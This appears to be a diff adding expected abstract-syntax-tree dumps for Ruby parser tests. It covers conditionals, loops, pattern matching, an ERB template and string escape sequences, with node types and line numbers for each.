+#  157|           0: [Integer] 1
+#  157|           1: [ReservedWord] +
+#  157|           2: [Integer] 1
+#  157|         3: [ReservedWord] )
+#  157|       2: [ReservedWord] ;
+#  158|     5: [ReservedWord] end
+#    1| [Comment] # Define some variables used below
+#    7| [Comment] # A case expr with a value and an else branch
+#   17| [Comment] # A case expr without a value or else branch
+#   24| [Comment] # pattern matching
+#   82| [Comment] # more pattern matching 
+#  114| [Comment] # array patterns
+#  126| [Comment] # find patterns
+#  135| [Comment] # hash patterns
+control/conditionals.rb:
+#    1| [Program] Program
+#    2|   0: [Assignment] Assignment
+#    2|     0: [Identifier] a
+#    2|     1: [ReservedWord] =
+#    2|     2: [Integer] 0
+#    3|   1: [Assignment] Assignment
+#    3|     0: [Identifier] b
+#    3|     1: [ReservedWord] =
+#    3|     2: [Integer] 0
+#    4|   2: [Assignment] Assignment
+#    4|     0: [Identifier] c
+#    4|     1: [ReservedWord] =
+#    4|     2: [Integer] 0
+#    5|   3: [Assignment] Assignment
+#    5|     0: [Identifier] d
+#    5|     1: [ReservedWord] =
+#    5|     2: [Integer] 0
+#    6|   4: [Assignment] Assignment
+#    6|     0: [Identifier] e
+#    6|     1: [ReservedWord] =
+#    6|     2: [Integer] 0
+#    7|   5: [Assignment] Assignment
+#    7|     0: [Identifier] f
+#    7|     1: [ReservedWord] =
+#    7|     2: [Integer] 0
+#   10|   6: [If] If
+#   10|     0: [ReservedWord] if
+#   10|     1: [Binary] Binary
+#   10|       0: [Identifier] a
+#   10|       1: [ReservedWord] >
+#   10|       2: [Identifier] b
+#   10|     2: [Then] Then
+#   10|       0: [ReservedWord] then
+#   11|       1: [Identifier] c
+#   12|     3: [ReservedWord] end
+#   15|   7: [If] If
+#   15|     0: [ReservedWord] if
+#   15|     1: [Binary] Binary
+#   15|       0: [Identifier] a
+#   15|       1: [ReservedWord] ==
+#   15|       2: [Identifier] b
+#   15|     2: [Then] Then
+#   16|       0: [Identifier] c
+#   17|     3: [Else] Else
+#   17|       0: [ReservedWord] else
+#   18|       1: [Identifier] d
+#   19|     4: [ReservedWord] end
+#   22|   8: [If] If
+#   22|     0: [ReservedWord] if
+#   22|     1: [Binary] Binary
+#   22|       0: [Identifier] a
+#   22|       1: [ReservedWord] ==
+#   22|       2: [Integer] 0
+#   22|     2: [Then] Then
+#   22|       0: [ReservedWord] then
+#   23|       1: [Identifier] c
+#   24|     3: [Elsif] Elsif
+#   24|       0: [ReservedWord] elsif
+#   24|       1: [Binary] Binary
+#   24|         0: [Identifier] a
+#   24|         1: [ReservedWord] ==
+#   24|         2: [Integer] 1
+#   24|       2: [Then] Then
+#   24|         0: [ReservedWord] then
+#   25|         1: [Identifier] d
+#   26|       3: [Elsif] Elsif
+#   26|         0: [ReservedWord] elsif
+#   26|         1: [Binary] Binary
+#   26|           0: [Identifier] a
+#   26|           1: [ReservedWord] ==
+#   26|           2: [Integer] 2
+#   26|         2: [Then] Then
+#   26|           0: [ReservedWord] then
+#   27|           1: [Identifier] e
+#   28|         3: [Else] Else
+#   28|           0: [ReservedWord] else
+#   29|           1: [Identifier] f
+#   30|     4: [ReservedWord] end
+#   33|   9: [If] If
+#   33|     0: [ReservedWord] if
+#   33|     1: [Binary] Binary
+#   33|       0: [Identifier] a
+#   33|       1: [ReservedWord] ==
+#   33|       2: [Integer] 0
+#   33|     2: [Then] Then
+#   34|       0: [Identifier] b
+#   35|     3: [Elsif] Elsif
+#   35|       0: [ReservedWord] elsif
+#   35|       1: [Binary] Binary
+#   35|         0: [Identifier] a
+#   35|         1: [ReservedWord] ==
+#   35|         2: [Integer] 1
+#   35|       2: [Then] Then
+#   36|         0: [Identifier] c
+#   37|     4: [ReservedWord] end
+#   40|   10: [Unless] Unless
+#   40|     0: [ReservedWord] unless
+#   40|     1: [Binary] Binary
+#   40|       0: [Identifier] a
+#   40|       1: [ReservedWord] >
+#   40|       2: [Identifier] b
+#   40|     2: [Then] Then
+#   40|       0: [ReservedWord] then
+#   41|       1: [Identifier] c
+#   42|     3: [ReservedWord] end
+#   45|   11: [Unless] Unless
+#   45|     0: [ReservedWord] unless
+#   45|     1: [Binary] Binary
+#   45|       0: [Identifier] a
+#   45|       1: [ReservedWord] ==
+#   45|       2: [Identifier] b
+#   45|     2: [Then] Then
+#   46|       0: [Identifier] c
+#   47|     3: [Else] Else
+#   47|       0: [ReservedWord] else
+#   48|       1: [Identifier] d
+#   49|     4: [ReservedWord] end
+#   52|   12: [IfModifier] IfModifier
+#   52|     0: [Assignment] Assignment
+#   52|       0: [Identifier] a
+#   52|       1: [ReservedWord] =
+#   52|       2: [Identifier] b
+#   52|     1: [ReservedWord] if
+#   52|     2: [Binary] Binary
+#   52|       0: [Identifier] c
+#   52|       1: [ReservedWord] >
+#   52|       2: [Identifier] d
+#   55|   13: [UnlessModifier] UnlessModifier
+#   55|     0: [Assignment] Assignment
+#   55|       0: [Identifier] a
+#   55|       1: [ReservedWord] =
+#   55|       2: [Identifier] b
+#   55|     1: [ReservedWord] unless
+#   55|     2: [Binary] Binary
+#   55|       0: [Identifier] c
+#   55|       1: [ReservedWord] <
+#   55|       2: [Identifier] d
+#   58|   14: [Assignment] Assignment
+#   58|     0: [Identifier] a
+#   58|     1: [ReservedWord] =
+#   58|     2: [Conditional] Conditional
+#   58|       0: [Binary] Binary
+#   58|         0: [Identifier] b
+#   58|         1: [ReservedWord] >
+#   58|         2: [Identifier] c
+#   58|       1: [ReservedWord] ?
+#   58|       2: [Binary] Binary
+#   58|         0: [Identifier] d
+#   58|         1: [ReservedWord] +
+#   58|         2: [Integer] 1
+#   58|       3: [ReservedWord] :
+#   58|       4: [Binary] Binary
+#   58|         0: [Identifier] e
+#   58|         1: [ReservedWord] -
+#   58|         2: [Integer] 2
+#   61|   15: [If] If
+#   61|     0: [ReservedWord] if
+#   61|     1: [Binary] Binary
+#   61|       0: [Identifier] a
+#   61|       1: [ReservedWord] >
+#   61|       2: [Identifier] b
+#   61|     2: [Then] Then
+#   61|       0: [ReservedWord] then
+#   62|       1: [Identifier] c
+#   63|     3: [Else] Else
+#   63|       0: [ReservedWord] else
+#   64|     4: [ReservedWord] end
+#   67|   16: [If] If
+#   67|     0: [ReservedWord] if
+#   67|     1: [Binary] Binary
+#   67|       0: [Identifier] a
+#   67|       1: [ReservedWord] >
+#   67|       2: [Identifier] b
+#   67|     2: [Then] Then
+#   67|       0: [ReservedWord] then
+#   68|     3: [Else] Else
+#   68|       0: [ReservedWord] else
+#   69|       1: [Identifier] c
+#   70|     4: [ReservedWord] end
+#    1| [Comment] # Define some variables used below
+#    9| [Comment] # If expr with no else
+#   14| [Comment] # If expr with single else
+#   21| [Comment] # If expr with multiple nested elsif branches
+#   32| [Comment] # If expr with elsif and then no else
+#   39| [Comment] # Unless expr with no else
+#   44| [Comment] # Unless expr with else
+#   51| [Comment] # If-modified expr
+#   54| [Comment] # Unless-modified expr
+#   57| [Comment] # Ternary if expr
+#   60| [Comment] # If expr with empty else (treated as no else)
+#   66| [Comment] # If expr with empty then (treated as no then)
+control/loops.rb:
+#    1| [Program] Program
+#    2|   0: [Assignment] Assignment
+#    2|     0: [Identifier] foo
+#    2|     1: [ReservedWord] =
+#    2|     2: [Integer] 0
+#    3|   1: [Assignment] Assignment
+#    3|     0: [Identifier] sum
+#    3|     1: [ReservedWord] =
+#    3|     2: [Integer] 0
+#    4|   2: [Assignment] Assignment
+#    4|     0: [Identifier] x
+#    4|     1: [ReservedWord] =
+#    4|     2: [Integer] 0
+#    5|   3: [Assignment] Assignment
+#    5|     0: [Identifier] y
+#    5|     1: [ReservedWord] =
+#    5|     2: [Integer] 0
+#    6|   4: [Assignment] Assignment
+#    6|     0: [Identifier] z
+#    6|     1: [ReservedWord] =
+#    6|     2: [Integer] 0
+#    9|   5: [For] For
+#    9|     0: [ReservedWord] for
+#    9|     1: [Identifier] n
+#    9|     2: [In] In
+#    9|       0: [ReservedWord] in
+#    9|       1: [Range] Range
+#    9|         0: [Integer] 1
+#    9|         1: [ReservedWord] ..
+#    9|         2: [Integer] 10
+#    9|     3: [Do] Do
+#   10|       0: [OperatorAssignment] OperatorAssignment
+#   10|         0: [Identifier] sum
+#   10|         1: [ReservedWord] +=
+#   10|         2: [Identifier] n
+#   11|       1: [Assignment] Assignment
+#   11|         0: [Identifier] foo
+#   11|         1: [ReservedWord] =
+#   11|         2: [Identifier] n
+#   12|       2: [ReservedWord] end
+#   16|   6: [For] For
+#   16|     0: [ReservedWord] for
+#   16|     1: [Identifier] n
+#   16|     2: [In] In
+#   16|       0: [ReservedWord] in
+#   16|       1: [Range] Range
+#   16|         0: [Integer] 1
+#   16|         1: [ReservedWord] ..
+#   16|         2: [Integer] 10
+#   16|     3: [Do] Do
+#   17|       0: [OperatorAssignment] OperatorAssignment
+#   17|         0: [Identifier] sum
+#   17|         1: [ReservedWord] +=
+#   17|         2: [Identifier] n
+#   18|       1: [OperatorAssignment] OperatorAssignment
+#   18|         0: [Identifier] foo
+#   18|         1: [ReservedWord] -=
+#   18|         2: [Identifier] n
+#   19|       2: [ReservedWord] end
+#   22|   7: [For] For
+#   22|     0: [ReservedWord] for
+#   22|     1: [LeftAssignmentList] LeftAssignmentList
+#   22|       0: [Identifier] key
+#   22|       1: [ReservedWord] ,
+#   22|       2: [Identifier] value
+#   22|     2: [In] In
+#   22|       0: [ReservedWord] in
+#   22|       1: [Hash] Hash
+#   22|         0: [ReservedWord] {
+#   22|         1: [Pair] Pair
+#   22|           0: [HashKeySymbol] foo
+#   22|           1: [ReservedWord] :
+#   22|           2: [Integer] 0
+#   22|         2: [ReservedWord] ,
+#   22|         3: [Pair] Pair
+#   22|           0: [HashKeySymbol] bar
+#   22|           1: [ReservedWord] :
+#   22|           2: [Integer] 1
+#   22|         4: [ReservedWord] }
+#   22|     3: [Do] Do
+#   23|       0: [OperatorAssignment] OperatorAssignment
+#   23|         0: [Identifier] sum
+#   23|         1: [ReservedWord] +=
+#   23|         2: [Identifier] value
+#   24|       1: [OperatorAssignment] OperatorAssignment
+#   24|         0: [Identifier] foo
+#   24|         1: [ReservedWord] *=
+#   24|         2: [Identifier] value
+#   25|       2: [ReservedWord] end
+#   28|   8: [For] For
+#   28|     0: [ReservedWord] for
+#   28|     1: [LeftAssignmentList] LeftAssignmentList
+#   28|       0: [DestructuredLeftAssignment] DestructuredLeftAssignment
+#   28|         0: [ReservedWord] (
+#   28|         1: [Identifier] key
+#   28|         2: [ReservedWord] ,
+#   28|         3: [Identifier] value
+#   28|         4: [ReservedWord] )
+#   28|     2: [In] In
+#   28|       0: [ReservedWord] in
+#   28|       1: [Hash] Hash
+#   28|         0: [ReservedWord] {
+#   28|         1: [Pair] Pair
+#   28|           0: [HashKeySymbol] foo
+#   28|           1: [ReservedWord] :
+#   28|           2: [Integer] 0
+#   28|         2: [ReservedWord] ,
+#   28|         3: [Pair] Pair
+#   28|           0: [HashKeySymbol] bar
+#   28|           1: [ReservedWord] :
+#   28|           2: [Integer] 1
+#   28|         4: [ReservedWord] }
+#   28|     3: [Do] Do
+#   29|       0: [OperatorAssignment] OperatorAssignment
+#   29|         0: [Identifier] sum
+#   29|         1: [ReservedWord] +=
+#   29|         2: [Identifier] value
+#   30|       1: [OperatorAssignment] OperatorAssignment
+#   30|         0: [Identifier] foo
+#   30|         1: [ReservedWord] /=
+#   30|         2: [Identifier] value
+#   31|       2: [Break] Break
+#   31|         0: [ReservedWord] break
+#   32|       3: [ReservedWord] end
+#   35|   9: [While] While
+#   35|     0: [ReservedWord] while
+#   35|     1: [Binary] Binary
+#   35|       0: [Identifier] x
+#   35|       1: [ReservedWord] <
+#   35|       2: [Identifier] y
+#   35|     2: [Do] Do
+#   36|       0: [OperatorAssignment] OperatorAssignment
+#   36|         0: [Identifier] x
+#   36|         1: [ReservedWord] +=
+#   36|         2: [Integer] 1
+#   37|       1: [OperatorAssignment] OperatorAssignment
+#   37|         0: [Identifier] z
+#   37|         1: [ReservedWord] +=
+#   37|         2: [Integer] 1
+#   38|       2: [Next] Next
+#   38|         0: [ReservedWord] next
+#   39|       3: [ReservedWord] end
+#   42|   10: [While] While
+#   42|     0: [ReservedWord] while
+#   42|     1: [Binary] Binary
+#   42|       0: [Identifier] x
+#   42|       1: [ReservedWord] <
+#   42|       2: [Identifier] y
+#   42|     2: [Do] Do
+#   42|       0: [ReservedWord] do
+#   43|       1: [OperatorAssignment] OperatorAssignment
+#   43|         0: [Identifier] x
+#   43|         1: [ReservedWord] +=
+#   43|         2: [Integer] 1
+#   44|       2: [OperatorAssignment] OperatorAssignment
+#   44|         0: [Identifier] z
+#   44|         1: [ReservedWord] +=
+#   44|         2: [Integer] 2
+#   45|       3: [ReservedWord] end
+#   48|   11: [WhileModifier] WhileModifier
+#   48|     0: [OperatorAssignment] OperatorAssignment
+#   48|       0: [Identifier] x
+#   48|       1: [ReservedWord] +=
+#   48|       2: [Integer] 1
+#   48|     1: [ReservedWord] while
+#   48|     2: [Binary] Binary
+#   48|       0: [Identifier] y
+#   48|       1: [ReservedWord] >=
+#   48|       2: [Identifier] x
+#   51|   12: [Until] Until
+#   51|     0: [ReservedWord] until
+#   51|     1: [Binary] Binary
+#   51|       0: [Identifier] x
+#   51|       1: [ReservedWord] ==
+#   51|       2: [Identifier] y
+#   51|     2: [Do] Do
+#   52|       0: [OperatorAssignment] OperatorAssignment
+#   52|         0: [Identifier] x
+#   52|         1: [ReservedWord] +=
+#   52|         2: [Integer] 1
+#   53|       1: [OperatorAssignment] OperatorAssignment
+#   53|         0: [Identifier] z
+#   53|         1: [ReservedWord] -=
+#   53|         2: [Integer] 1
+#   54|       2: [ReservedWord] end
+#   57|   13: [Until] Until
+#   57|     0: [ReservedWord] until
+#   57|     1: [Binary] Binary
+#   57|       0: [Identifier] x
+#   57|       1: [ReservedWord] >
+#   57|       2: [Identifier] y
+#   57|     2: [Do] Do
+#   57|       0: [ReservedWord] do
+#   58|       1: [OperatorAssignment] OperatorAssignment
+#   58|         0: [Identifier] x
+#   58|         1: [ReservedWord] +=
+#   58|         2: [Integer] 1
+#   59|       2: [OperatorAssignment] OperatorAssignment
+#   59|         0: [Identifier] z
+#   59|         1: [ReservedWord] -=
+#   59|         2: [Integer] 4
+#   60|       3: [ReservedWord] end
+#   63|   14: [UntilModifier] UntilModifier
+#   63|     0: [OperatorAssignment] OperatorAssignment
+#   63|       0: [Identifier] x
+#   63|       1: [ReservedWord] -=
+#   63|       2: [Integer] 1
+#   63|     1: [ReservedWord] until
+#   63|     2: [Binary] Binary
+#   63|       0: [Identifier] x
+#   63|       1: [ReservedWord] ==
+#   63|       2: [Integer] 0
+#   66|   15: [While] While
+#   66|     0: [ReservedWord] while
+#   66|     1: [Binary] Binary
+#   66|       0: [Identifier] x
+#   66|       1: [ReservedWord] <
+#   66|       2: [Identifier] y
+#   66|     2: [Do] Do
+#   66|       0: [ReservedWord] do
+#   67|       1: [ReservedWord] end
+#    1| [Comment] # Define some variables used below.
+#    8| [Comment] # For loop with a single variable as the iteration argument
+#   14| [Comment] # For loop with a single variable and a trailing comma as the iteration
+#   15| [Comment] # argument
+#   21| [Comment] # For loop with a tuple pattern as the iteration argument
+#   27| [Comment] # Same, but with parentheses around the pattern
+#   34| [Comment] # While loop
+#   41| [Comment] # While loop with `do` keyword
+#   47| [Comment] # While-modified expression
+#   50| [Comment] # Until loop
+#   56| [Comment] # Until loop with `do` keyword
+#   62| [Comment] # Until-modified expression
+#   65| [Comment] # While loop with empty `do` block
+erb/template.html.erb:
+#   19| [Program] Program
+#   19|   0: [String] String
+#   19|     0: [ReservedWord] "
+#   19|     1: [StringContent] hello world
+#   19|     2: [ReservedWord] "
+#   25|   1: [Assignment] Assignment
+#   25|     0: [Identifier] xs
+#   25|     1: [ReservedWord] =
+#   25|     2: [String] String
+#   25|       0: [ReservedWord] "
+#   25|       1: [ReservedWord] "
+#   27|   2: [For] For
+#   27|     0: [ReservedWord] for
+#   27|     1: [Identifier] x
+#   27|     2: [In] In
+#   27|       0: [ReservedWord] in
+#   27|       1: [Array] Array
+#   27|         0: [ReservedWord] [
+#   27|         1: [String] String
+#   27|           0: [ReservedWord] "
+#   27|           1: [StringContent] foo
+#   27|           2: [ReservedWord] "
+#   27|         2: [ReservedWord] ,
+#   27|         3: [String] String
+#   27|           0: [ReservedWord] "
+#   27|           1: [StringContent] bar
+#   27|           2: [ReservedWord] "
+#   27|         4: [ReservedWord] ,
+#   27|         5: [String] String
+#   27|           0: [ReservedWord] "
+#   27|           1: [StringContent] baz
+#   27|           2: [ReservedWord] "
+#   27|         6: [ReservedWord] ]
+#   27|     3: [Do] Do
+#   27|       0: [ReservedWord] do
+#   28|       1: [OperatorAssignment] OperatorAssignment
+#   28|         0: [Identifier] xs
+#   28|         1: [ReservedWord] +=
+#   28|         2: [Identifier] x
+#   29|       2: [Identifier] xs
+#   31|       3: [ReservedWord] end
+escape_sequences/escapes.rb:
+#    1| [Program] Program
+#    6|   0: [String] String
+#    6|     0: [ReservedWord] '
+#    6|     1: [StringContent] \'
+#    6|     2: [ReservedWord] '
+#    7|   1: [String] String
+#    7|     0: [ReservedWord] '
+#    7|     1: [StringContent] \"
+#    7|     2: [ReservedWord] '
+#    8|   2: [String] String
+#    8|     0: [ReservedWord] '
+#    8|     1: [StringContent] \\
+#    8|     2: [ReservedWord] '
+#    9|   3: [String] String
+#    9|     0: [ReservedWord] '
+#    9|     1: [StringContent] \1
+#    9|     2: [ReservedWord] '
+#   10|   4: [String] String
+#   10|     0: [ReservedWord] '
+#   10|     1: [StringContent] \\1
+#   10|     2: [ReservedWord] '
+#   11|   5: [String] String
+#   11|     0: [ReservedWord] '
+#   11|     1: [StringContent] \141
+#   11|     2: [ReservedWord] '
+#   12|   6: [String] String
+#   12|     0: [ReservedWord] '
+#   12|     1: [StringContent] \n
+#   12|     2: [ReservedWord] '
+#   15|   7: [String] String
+#   15|     0: [ReservedWord] "
+#   15|     1: [EscapeSequence] \'
+#   15|     2: [ReservedWord] "
+#   16|   8: [String] String
+#   16|     0: [ReservedWord] "
+#   16|     1: [EscapeSequence] \"
+#   16|     2: [ReservedWord] "
+#   17|   9: [String] String
+#   17|     0: [ReservedWord] "
+#   17|     1: [EscapeSequence] \\
+#   17|     2: [ReservedWord] "
+#   18|   10: [String] String
+#   18|     0: [ReservedWord] "
+#   18|     1: [EscapeSequence] \1
+#   18|     2: [ReservedWord] "
+#   19|   11: [String] String
+#   19|     0: [ReservedWord] "
+#   19|     1: [EscapeSequence] \\
+#   19|     2: [StringContent] 1
+#   19|     3: [ReservedWord] "
+#   20|   12: [String] String
+#   20|     0: [ReservedWord] "
+#   20|     1: [EscapeSequence] \141
+#   20|     2: [ReservedWord] "
+#   21|   13: [String] String
+#   21|     0: [ReservedWord] "
+#   21|     1: [EscapeSequence] \x6d
+#   21|     2: [ReservedWord] "
+#   22|   14: [String] String
+#   22|     0: [ReservedWord] "
+#   22|     1: [EscapeSequence] \x6E
+#   22|     2: [ReservedWord] "
+#   23|   15: [String] String
+#   23|     0: [ReservedWord] "
+#   23|     1: [EscapeSequence] \X
+#   23|     2: [StringContent] 6d
+#   23|     3: [ReservedWord] "
+#   24|   16: [String] String
+#   24|     0: [ReservedWord] "
+#   24|     1: [EscapeSequence] \X
+#   24|     2: [StringContent] 6E
+#   24|     3: [ReservedWord] "
+#   25|   17: [String] String
+#   25|     0: [ReservedWord] "
+#   25|     1: [EscapeSequence] \u203d
+#   25|     2: [ReservedWord] "
+#   26|   18: [String] String
+#   26|     0: [ReservedWord] "
+#   26|     1: [EscapeSequence] \u{62}
+#   26|     2: [ReservedWord] "
+#   27|   19: [String] String
+#   27|     0: [ReservedWord] "
+#   27|     1: [EscapeSequence] \u{1f60a}
+#   27|     2: [ReservedWord] "
+#   28|   20: [String] String
+#   28|     0: [ReservedWord] "
+#   28|     1: [EscapeSequence] \a
+#   28|     2: [ReservedWord] "
+#   29|   21: [String] String
+#   29|     0: [ReservedWord] "
+#   29|     1: [EscapeSequence] \b
+#   29|     2: [ReservedWord] "
+#   30|   22: [String] String
+#   30|     0: [ReservedWord] "
+#   30|     1: [EscapeSequence] \t
+#   30|     2: [ReservedWord] "
+#   31|   23: [String] String
+#   31|     0: [ReservedWord] "
+#   31|     1: [EscapeSequence] \n
+#   31|     2: [ReservedWord] "
+#   32|   24: [String] String
+#   32|     0: [ReservedWord] "
+#   32|     1: [EscapeSequence] \v
+#   32|     2: [ReservedWord] "
+#   33|   25: [String] String
+#   33|     0: [ReservedWord] "
+#   33|     1: [EscapeSequence] \f
+#   33|     2: [ReservedWord] "
+#   34|   26: [String] String
+#   34|     0: [ReservedWord] "
+#   34|     1: [EscapeSequence] \r
+#   34|     2: [ReservedWord] "
+#   35|   27: [String] String
+#   35|     0: [ReservedWord] "
+#   35|     1: [EscapeSequence] \e
+#   35|     2: [ReservedWord] "
+#   36|   28: [String] String
+#   36|     0: [ReservedWord] "
+#   36|     1: [EscapeSequence] \s
+#   36|     2: [ReservedWord] "
+#   37|   29: [String] String
+#   37|     0: [ReservedWord] "
+#   37|     1: [EscapeSequence] \c
+#   37|     2: [StringContent] ?
+#   37|     3: [ReservedWord] "
+#   38|   30: [String] String
+#   38|     0: [ReservedWord] "
+#   38|     1: [EscapeSequence] \C
+#   38|     2: [StringContent] -?
+#   38|     3: [ReservedWord] "
+#   43|   31: [Assignment] Assignment
+#   43|     0: [Identifier] a
+#   43|     1: [ReservedWord] =
+#   43|     2: [String] String
+#   43|       0: [ReservedWord] "
+#   43|       1: [EscapeSequence] \\
+#   43|       2: [StringContent] .
+#   43|       3: [ReservedWord] "
+#   44|   32: [String] String
+#   44|     0: [ReservedWord] "
+#   44|     1: [Interpolation] Interpolation
+#   44|       0: [ReservedWord] #{
+#   44|       1: [Identifier] a
+#   44|       2: [ReservedWord] }
+#   44|     2: [ReservedWord] "
+#   48|   33: [Regex] Regex
+#   48|     0: [ReservedWord] /
+#   48|     1: [EscapeSequence] \n
+#   48|     2: [ReservedWord] /
+#   49|   34: [Regex] Regex
+#   49|     0: [ReservedWord] /
+#   49|     1: [EscapeSequence] \p
+#   49|     2: [ReservedWord] /
+#   50|   35: [Regex] Regex
+#   50|     0: [ReservedWord] /
+#   50|     1: [EscapeSequence] \u0061
+#   50|     2: [ReservedWord] /
+#   53|   36: [Assignment] Assignment
+#   53|     0: [Identifier] a
+#   53|     1: [ReservedWord] =
+#   53|     2: [String] String
+#   53|       0: [ReservedWord] "
+#   53|       1: [EscapeSequence] \\
+#   53|       2: [StringContent] .
+#   53|       3: [ReservedWord] "
+#   54|   37: [Assignment] Assignment
+#   54|     0: [Identifier] b
+#   54|     1: [ReservedWord] =
+#   54|     2: [Regex] Regex
+#   54|       0: [ReservedWord] /
+#   54|       1: [EscapeSequence] \.
+#   54|       2: [ReservedWord] /
+#   55|   38: [Regex] Regex
+#   55|     0: [ReservedWord] /
+#   55|     1: [Interpolation] Interpolation
+#   55|       0: [ReservedWord] #{
+#   55|       1: [Identifier] a
+#   55|       2: [ReservedWord] }
+#   55|     2: [Interpolation] Interpolation
+#   55|       0: [ReservedWord] #{
+#   55|       1: [Identifier] b
+#   55|       2: [ReservedWord] }
+#   55|     3: [ReservedWord] /
+#   58|   39: [StringArray] StringArray
+#   58|     0: [ReservedWord] %w[
+#   58|     1: [BareString] BareString
+#   58|       0: [StringContent] foo
+#   58|       1: [EscapeSequence]  \n
+#   58|     2: [BareString] BareString
+#   58|       0: [StringContent] bar
+#   58|     3: [ReservedWord] ]
+#   61|   40: [DelimitedSymbol] DelimitedSymbol
+#   61|     0: [ReservedWord] :'
+#   61|     1: [StringContent] \'
+#   61|     2: [ReservedWord] '
+#   62|   41: [DelimitedSymbol] DelimitedSymbol
+#   62|     0: [ReservedWord] :'
+#   62|     1: [StringContent] \"
+#   62|     2: [ReservedWord] '
+#   63|   42: [DelimitedSymbol] DelimitedSymbol
+#   63|     0: [ReservedWord] :'
+#   63|     1: [StringContent] \\
+#   63|     2: [ReservedWord] '
+#   64|   43: [DelimitedSymbol] DelimitedSymbol
+#   64|     0: [ReservedWord] :'
+#   64|     1: [StringContent] \1
+#   64|     2: [ReservedWord] '
+#   65|   44: [DelimitedSymbol] DelimitedSymbol
+#   65|     0: [ReservedWord] :'
+#   65|     1: [StringContent] \\1
+#   65|     2: [ReservedWord] '
+#   66|   45: [DelimitedSymbol] DelimitedSymbol
+#   66|     0: [ReservedWord] :'
+#   66|     1: [StringContent] \141
+#   66|     2: [ReservedWord] '
+#   67|   46: [DelimitedSymbol] DelimitedSymbol
+#   67|     0: [ReservedWord] :'
+#   67|     1: [StringContent] \n
+#   67|     2: [ReservedWord] '
+#   70|   47: [DelimitedSymbol] DelimitedSymbol
+#   70|     0: [ReservedWord] :"
+#   70|     1: [EscapeSequence] \'
+#   70|     2: [ReservedWord] "
+#   71|   48: [DelimitedSymbol] DelimitedSymbol
+#   71|     0: [ReservedWord] :"
+#   71|     1: [EscapeSequence] \"
+#   71|     2: [ReservedWord] "
+#   72|   49: [DelimitedSymbol] DelimitedSymbol
+#   72|     0: [ReservedWord] :"
+#   72|     1: [EscapeSequence] \\
+#   72|     2: [ReservedWord] "
+#   73|   50: [DelimitedSymbol] DelimitedSymbol
+#   73|     0: [ReservedWord] :"
+#   73|     1: [EscapeSequence] \1
+#   73|     2: [ReservedWord] "
+#   74|   51: [DelimitedSymbol] DelimitedSymbol
+#   74|     0: [ReservedWord] :"
+#   74|     1: [EscapeSequence] \\
+#   74|     2: [StringContent] 1
+#   74|     3: [ReservedWord] "
+#   75|   52: [DelimitedSymbol] DelimitedSymbol
+#   75|     0: [ReservedWord] :"
+#   75|     1: [EscapeSequence] \141
+#   75|     2: [ReservedWord] "
+#   76|   53: [DelimitedSymbol] DelimitedSymbol
+#   76|     0: [ReservedWord] :"
+#   76|     1: [EscapeSequence] \x6d
+#   76|     2: [ReservedWord] "
+#   77|   54: [DelimitedSymbol] DelimitedSymbol
+#   77|     0: [ReservedWord] :"
+#   77|     1: [EscapeSequence] \x6E
+#   77|     2: [ReservedWord] "
+#   78|   55: [DelimitedSymbol] DelimitedSymbol
+#   78|     0: [ReservedWord] :"
+#   78|     1: [EscapeSequence] \X
+#   78|     2: [StringContent] 6d
+#   78|     3: [ReservedWord] "
+#   79|   56: [DelimitedSymbol] DelimitedSymbol
+#   79|     0: [ReservedWord] :"
+#   79|     1: [EscapeSequence] \X
+#   79|     2: [StringContent] 6E
+#   79|     3: [ReservedWord] "
+#   80|   57: [DelimitedSymbol] DelimitedSymbol
+#   80|     0: [ReservedWord] :"
+#   80|     1: [EscapeSequence] \u203d
+#   80|     2: [ReservedWord] "
+#   81|   58: [DelimitedSymbol] DelimitedSymbol
+#   81|     0: [ReservedWord] :"
+#   81|     1: [EscapeSequence] \u{62}
+#   81|     2: [ReservedWord] "
+#   82|   59: [DelimitedSymbol] DelimitedSymbol
+#   82|     0: [ReservedWord] :"
+#   82|     1: [EscapeSequence] \u{1f60a}
+#   82|     2: [ReservedWord] "
+#   83|   60: [DelimitedSymbol] DelimitedSymbol
+#   83|     0: [ReservedWord] :"
+#   83|     1: [EscapeSequence] \a
+#   83|     2: [ReservedWord] "
+#   84|   61: [DelimitedSymbol] DelimitedSymbol
+#   84|     0: [ReservedWord] :"
+#   84|     1: [EscapeSequence] \b
+#   84|     2: [ReservedWord] "
+#   85|   62: [DelimitedSymbol] DelimitedSymbol
+#   85|     0: [ReservedWord] :"
+#   85|     1: [EscapeSequence] \t
+#   85|     2: [ReservedWord] "
+#   86|   63: [DelimitedSymbol] DelimitedSymbol
+#   86|     0: [ReservedWord] :"
+#   86|     1: [EscapeSequence] \n
+#   86|     2: [ReservedWord] "
+#   87|   64: [DelimitedSymbol] DelimitedSymbol
+#   87|     0: [ReservedWord] :"
+#   87|     1: [EscapeSequence] \v
+#   87|     2: [ReservedWord] "
+#   88|   65: [DelimitedSymbol] DelimitedSymbol
+#   88|     0: [ReservedWord] :"
+#   88|     1: [EscapeSequence] \f
+#   88|     2: [ReservedWord] "
+#   89|   66: [DelimitedSymbol] DelimitedSymbol
+#   89|     0: [ReservedWord] :"
+#   89|     1: [EscapeSequence] \r
+#   89|     2: [ReservedWord] "
+#   90|   67: [DelimitedSymbol] DelimitedSymbol
+#   90|     0: [ReservedWord] :"
+#   90|     1: [EscapeSequence] \e
+#   90|     2: [ReservedWord] "
+#   91|   68: [DelimitedSymbol] DelimitedSymbol
+#   91|     0: [ReservedWord] :"
+#   91|     1: [EscapeSequence] \s
+#   91|     2: [ReservedWord] "
+#   92|   69: [DelimitedSymbol] DelimitedSymbol
+#   92|     0: [ReservedWord] :"
+#   92|     1: [EscapeSequence] \c
+#   92|     2: [StringContent] ?
+#   92|     3: [ReservedWord] "
+#   93|   70: [DelimitedSymbol] DelimitedSymbol
+#   93|     0: [ReservedWord] :"
+#   93|     1: [EscapeSequence] \C
+#   93|     2: [StringContent] -?
+#   93|     3: [ReservedWord] "
+#    1| [Comment] # Most comments indicate the contents of the string after MRI has parsed the
+#    2| [Comment] # escape sequences (i.e. what gets printed by `puts`), and that's what we expect
+#    3| [Comment] # `getConstantValue().getString()` to return.
+#    5| [Comment] # The only escapes in single-quoted strings are backslash and single-quote.
+#    6| [Comment] # '
+#    7| [Comment] # \"
+#    8| [Comment] # \
+#    9| [Comment] # \1
+#   10| [Comment] # \1
+#   11| [Comment] # \141
+#   12| [Comment] # \n
+#   14| [Comment] # Double-quoted strings
+#   15| [Comment] # '
+#   16| [Comment] # "
+#   17| [Comment] # \
+#   18| [Comment] # <U+0001>
+#   19| [Comment] # \1
+#   20| [Comment] # a
+#   21| [Comment] # m
+#   22| [Comment] # n
+#   23| [Comment] # X6d
